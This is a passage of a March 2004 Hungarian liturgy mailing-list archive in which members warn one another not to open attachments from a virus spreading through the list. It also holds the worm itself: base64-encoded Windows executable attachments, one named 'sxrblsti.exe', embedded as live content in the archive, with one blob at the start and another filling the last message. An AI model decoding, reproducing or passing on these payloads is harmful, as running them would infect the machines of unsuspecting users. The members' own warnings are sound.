oQm/3Lw+NOhX34gl7JZ1SkYvEAHh9cxcoYnrX+840fyUlWiHifctTJYh8wMdyadMBLCmRqBK UyTywDFui8ZF+xsIha41LmYIDhCvguiZ4X7nTwUX5jLuBYnsOBZU67bzYlwCExNC4+XipMUB jVNHs6eE2OVKvRUFAnQXIwkDyg4xBOQF6b6etLsOs8gTLHhbpmIj+gEQgeRYJ8o3/42Rc1EU RDhgGuiwA5Hvs763UIcXvaEWuCpEHquhidbapasIdkbiaNtfpVENHA8shW15aXDE5VyYWkbq I2KJ6eT5nuKFqLz6J97kRgP+taIZGUMXHB+ORaZrECvUseiiIxBShYY34D8QFFRAstEoHWgT xL5FaCAsJK2KVRQv+QhArBtn0tWJyZIE3jURm0O/Yjyk/il75BS3x+GDvUQZw2wjQ5IkQc0E B2cl2kogpcXh67YxDV4BIkuTApgRaBqel0MWRg4p/ChkFYSwSejrlBaaCWqgIS9GEmmTqZqt Y0LsdOFaXkdh/wV7eIaI/Au/4llqJEwTCKMQTKhyu10NQuMz/nz3QsTeC06RihLRHR4Mu3q4 U3tDdRpNfuUOFGaD87C2DaZGdsaC1kI5SjIJgVaMxmXb8A3Q+ZSiBMRua589CbSiMYM9ZGeY tEwZsDKvJ/yS33QokgXSZqODHGh/dXngMblpSQQK6h19qPw8IndTkL387lD6NwGBaO+2jVqx kPz0zP8bJaRAbbK4pAa0MrAZrAychkOgIaiQJMgoZCwyMBk0DDiGQzx7hkNEIUiQTMhQZFQy WBlcDGCGQ7whZJBoyGxkcDJ0GXgMfIZDgCGEkIjIjGSQMpQZmAzkhiEwQRAoyCRkIDIcGRgM FIZDDHCGQwQhCJAQyCxlxEpUyAaQ3MjUZNgy0Bn4DPSGQ/Ah7JAUyBBkDDIIGRwNwgwAZxxo aXW6jmZ0eV33Fq4HjxIOADIxNy415DneCh4zeFYBfRh3YWIKdHjlAG1zZ4Fo77weaQYgBX94 QGxkd2LRPwV7iWVAFG5jaIvSZgFvZHMH7zl7YeVwBzVoGQVFd/oiYWSOX51qVcyfbFlvaGYV nhlubWfbQIsZZKlzariDDkBhdt63DPBpY3JvUXMswSXcP3B1PQZsdSZpZA7bglaP8zovi3dh AshlcmTPdnr8Nah4RGF+dDA6IEYNClRSbwgAU3ViamVjdNkaFkaUnm0Vh01lXsdhZ1EtSUSb IDwiNwQ+Kd5DRS1Wfp4YaW9uLDEuZjAmQxTYngYtVDB5cK1tdWz8afJhdXJQL5p4GWVkO0Ag TAFiDG91bmQyeRQ9Ii0B26TcGwSGIIUSI1DMFnjUligkYQgfOyRMMX5zZf87gnU9LXn8aePm li48cmGUc2aZeUhFc1FrmFxndjdi7nSvYOdhXbpHQ2/10AkveC0H3WSHd5dsyQ2Q3N+v5mXW OFsltjUCCkhd0EHPHnCKYpQFZTY0KCNESGmoe+fX5I0rvMRzocBtsDG0Zmls8U5eka1BBRqx aAgSFC4axjpsCKPIrIKgMQNpZr5szch0G+Rnb+/L9WMcMIFhLkSNghJvieEDPnEChwHNDQHC lwEg7yRoZau7UX4ILlMAT0ZUV0FSRVzrRdNDC3MyMIs0gmeP2JQaok1lciMkPA5DdXI12UkX 399S9JCHsiRhlH9KWVwNcGZyKzFuhccsByA63pw8HD4cQ2QpODdCDQmTmYBIRUxMT4rcD1JT bFQPTQdBSUwgRtdPgjo8Zo7BMENQVCDJT1gPRH5B5ZIPWzNVXYNkHAInLJsgDJtNdwJFebip rDqPOczZahQnDDNpCDLpJFhc4CpyLpA1azRvDwWnYnNa7w8gLV30DCazAADgAc4FICwQDQTg 6GwCIQABOCRA8A5rZXJuYGwzMi5k69uBSGnzu0Pob3NlqQpG+XLpdJ8KbJVBDzxOKXgOnkm8 jkNvbSxhKEzQMBCPRLz8jUZvcijqkw/RaXbYVHlScB1ANlPoevtADExvY35hfVRTbQ09Z2gf Lp9Tswxu+nOgMU1vZHXQZjcKTmFtREJTeY+M3xREk398Y9/QahTfjhRriR51bmkNFW2CpA8P WvSee+ZmqxX+GIEXV1fJondznEiB8GJHg4r+IJngTtAIC/NGQEyoT/BwPFZpO3epZpA4PVRk CmGBIU11Q454g1V/GGhwDJtocToobySG3j9XbtM4z1nfFXSfKlPkwxxPYmps/ygaRW14EhAG +oKJJm6+lGjwwiEJBW1waTcKlXkmCUb/lBJFlmhGgsgNw1RoNQ9kGiK8SEuYGJdHeKpQcqPG 03ONNCUKYk2VONSDQaUTsxlvRsAKZuhhNIXGqx0pB4kB5KYudb75NyxA9XCSsSB0ZnAB6ag0 VMrWaxtibmlLEa8MCGNvdmQqbOtHa/+/1F+icWhyI584MmkcaI6rnqTeowwKYnkOvvvv4o8x VMuQVG48BmRpZ/WoAmzKGHUTQVlTQcvtHqp/snD+xKaZb8yGfYLDiPP6OVG2JXEd5iVbgQ5t T25IR03PkWTQH3NoUncKDWk0mVVCVEHNbUFBCVJDIUwWCW1USQlE0crlEexAQYkk8XSpNEtE /Mk79U8x5elVIJlBpxGhDkVHlCxn0/VkWrIMORpDI63GAQi99+l2VJF0x4FoZ1OUSFauUTAg JEGhD1GkFLAhEcVDM91L+nmSDg1PG5GYHBRpcN9zhST4mU4GdzB+a0hQM1AJc5KywUdTSEVM xphuVWhpZQwSjEtVMJwCAL6kAUAArZOtl61WlrKApLaA/xNz+TPJ/xNzFjPA/xNzH7aAQbAQ /xMSwHP6dTyq6+D/UwgC9oPZAXUO/1ME6yas0eh0LxPJ6xqRSMHgCKz/UwQ9AH0AAHMKgPwF cwaD+H93AkFBlYvFtgBWi/cr8POkXuudi9ZerUh0CnkCrVBWi/KX64etk15GrZdW/xOVrITA dfv+DnTweQVGrVDrCf4OD4Tbc///VlX/UwSr6+AzyUH/ExPJ/xNy+MMC0nUFihZGEtLD/70A AAAAAAAAAAAAVAEAAP+9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGEBAABvAQAAAAAAAAAAAAAA ----------111323682645183-- From fuvesjan@freemail.hu Sat Mar 27 17:09:19 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Sat, 27 Mar 2004 18:09:19 +0100 Subject: [Liturgia] VIGYAZAT! Message-ID: <00cb01c4141e$3e3c9a70$de82fea9@ROMA> Kedves Listatagok! Vigyázat, mert egy vírus a kántorképző e-mail címét felhasználva küldött bombát mindkét listára. NE NYISSÁTOK MEG A CSATOLT ÁLLOMÁNYT! A LISTÁN SOSEM KÜLDÜNK CSATOLVAS SEMMIT SEM! Sok sikert! Füzes Ádám From orsi@florka.hu Sun Mar 28 12:10:26 2004 From: orsi@florka.hu (Orsi) Date: Sun, 28 Mar 2004 13:10:26 +0200 Subject: [Liturgia] =?iso-8859-2?B?du1ydXM=?= Message-ID: <001a01c414b5$4f185f90$1600a8c0@orsi> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C414C6.0980C290 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Sziasztok! Azt a tan=E1csot kaptam m=E1r kor=E1bban, hogy ha a lev=E9lben a = k=FCld=F5 nem hivatkozik a csatolt f=E1jlra, ne nyissam meg - = menek=FCltem m=E1r =EDgy meg v=EDrust=F3l... Orsi ------=_NextPart_000_0017_01C414C6.0980C290 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Sziasztok!
Azt a tan=E1csot kaptam m=E1r kor=E1bban, hogy ha = a lev=E9lben a=20 k=FCld=F5 nem hivatkozik a csatolt f=E1jlra, ne nyissam meg - = menek=FCltem m=E1r =EDgy meg=20 v=EDrust=F3l...
Orsi
------=_NextPart_000_0017_01C414C6.0980C290-- From orsi@florka.hu Sun Mar 28 13:36:22 2004 From: orsi@florka.hu (Orsi) Date: Sun, 28 Mar 2004 14:36:22 +0200 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_v=EDrus?= References: <001401c414bb$18e02880$8759b59d@dragon> Message-ID: <001901c414c1$4a172150$1600a8c0@orsi> This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C414D2.0A860720 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Ha angol nyelv=FB sz=F6veg j=F6n, m=E1r az gyan=FAs - nem? Orsi ----- Original Message -----=20 From: Petr=E1sovits Katalin=20 To: Orsi=20 Sent: Sunday, March 28, 2004 1:49 PM Subject: RE: [Liturgia] v=EDrus Szia!=20 Csak az a baj, hogy ha a csatolt file neve, hogy readme.*, akkor sokan = elolvass=E1k. Munkahelyi tapasztalat.=20 AM=FAgy meg minden levlist=E1n tal=E1lkozunk??? ;-)=20 Kata =20 Sziasztok! Azt a tan=E1csot kaptam m=E1r kor=E1bban, hogy ha a lev=E9lben a = k=FCld=F5 nem hivatkozik a csatolt f=E1jlra, ne nyissam meg - = menek=FCltem m=E1r =EDgy meg v=EDrust=F3l... Orsi ------=_NextPart_000_0016_01C414D2.0A860720 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Ha angol nyelv=FB sz=F6veg j=F6n, m=E1r = az gyan=FAs -=20 nem?
Orsi
----- Original Message -----
From:=20 Petr=E1sovits Katalin =
To: Orsi
Sent: Sunday, March 28, 2004 = 1:49=20 PM
Subject: RE: [Liturgia] = v=EDrus

Szia! =
 
Csak az a baj, hogy ha = a csatolt=20 file neve, hogy readme.*, akkor sokan elolvass=E1k. Munkahelyi = tapasztalat.=20
 
AM=FAgy meg minden = levlist=E1n=20 tal=E1lkozunk??? ;-)
 
Kata
 
 
 

 
Sziasztok!
Azt a tan=E1csot kaptam m=E1r kor=E1bban, hogy = ha a lev=E9lben a=20 k=FCld=F5 nem hivatkozik a csatolt f=E1jlra, ne nyissam meg - = menek=FCltem m=E1r =EDgy meg=20 = v=EDrust=F3l...
Orsi
------=_NextPart_000_0016_01C414D2.0A860720-- From pius@prem.hu Mon Mar 29 09:20:13 2004 From: pius@prem.hu (pius@prem.hu) Date: Mon, 29 Mar 2004 09:20:13 +0100 Subject: [Liturgia] (no subject) Message-ID: ----------256144616314516 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------256144616314516 Content-Type: application/x-msdownload; name="vrdqhnieoyy.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sxrblsti.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 6wumDQMSeQIHSVFqBFlP9LgDitCA4j/B6AbV8/+rLxx7kquY/46DfeYSKXUPUIFQZrgNCtCr WABZC8l1rovLKxL5sD0QNPUoXnwGgPo+cxcKHjN3Db8wQRBadgOAButoDgqnHwnB6j7A4gKb FivPwdbDTafNaMEEqqQNIfAgFfQPiOFk8CjSht9akgEhB/RqwOicVSAKngbw1Qn7GmpcKAQM b1RGeRUF6YWpB0Bo2FJKrxzocllqhgICCTIDaDXAhSwFQFX8QHRcaGOxUejHMCGSRI1F+H9Q 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 